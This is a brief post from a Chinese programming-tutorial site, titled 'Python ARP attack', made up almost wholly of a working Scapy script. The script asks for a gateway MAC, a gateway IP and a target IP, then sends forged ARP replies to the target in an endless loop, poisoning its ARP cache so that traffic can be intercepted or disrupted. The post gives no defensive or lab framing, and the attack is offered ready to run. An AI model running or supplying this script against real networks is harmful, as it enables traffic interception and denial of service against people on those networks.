Python ARP攻击

谁都会走 提交于 2019-12-06 12:18:15
 1 from scapy.all import *
 2 def function():
 3     gmac=raw_input("pleate getway mac: ")
 4     gatway=raw_input("pleate getway IP: ")
 5     target=raw_input("pleate target IP: ")
 6     tg=getmacbyip(target)
 7     eth=Ether()
 8     arp=ARP(
 9         op='is-at',
10         hwsrc=gmac,
11         psrc=gatway,
12         hwdst=tg,
13         pdst=target
14         )
15     sendp(eth/arp,inter=1,loop=1)
16 function()

 

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!